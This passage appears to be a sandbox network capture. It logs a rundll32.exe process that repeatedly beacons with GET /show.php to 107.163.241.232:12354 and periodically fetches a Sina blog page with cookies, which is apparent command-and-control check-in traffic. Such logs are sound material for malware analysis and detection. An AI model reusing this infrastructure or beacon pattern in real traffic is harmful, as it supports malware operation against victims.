80	192.168.2.4	50467	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:38.943375111 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50470	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:39.066222906 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50500	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:40.767870903 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50502	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:40.902616978 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50503	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:40.902745008 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:42.474132061 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:42 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50557	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:43.003683090 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50563	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:43.160845041 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50618	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:44.900798082 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50622	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:45.010304928 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50623	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:45.014164925 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:46.594037056 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:46 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50687	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:47.158174038 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50692	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:47.272820950 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50748	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:48.896734953 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50753	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:49.012020111 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50754	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:49.012139082 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:50.583398104 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:50 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50835	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:51.253005028 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50837	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:51.424747944 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50912	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:52.897680998 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50919	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:53.009042978 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50921	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:53.015444040 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:54.576371908 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:54 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	51045	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:55.157731056 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	51050	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:55.284895897 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	51141	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:56.924770117 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	51148	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:57.029735088 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	51149	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:57.031270981 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:58.597588062 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:58 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	51278	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:59.157171965 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	51284	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:59.275904894 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	51378	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:00.936731100 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	51386	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:01.045604944 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	51387	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:01.045877934 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:26:02.611855030 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:02 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	51468	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:03.331675053 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	51478	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:03.447772026 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	51568	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:04.991905928 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	51576	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:05.107765913 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:26:06.663619995 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:06 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	51577	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:05.108432055 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	51658	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:07.231511116 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	51666	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:07.348721027 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	51739	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:09.098010063 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	51741	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:09.208740950 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	51742	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:09.211011887 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:26:10.782651901 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:10 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	52288	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:11.346539021 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

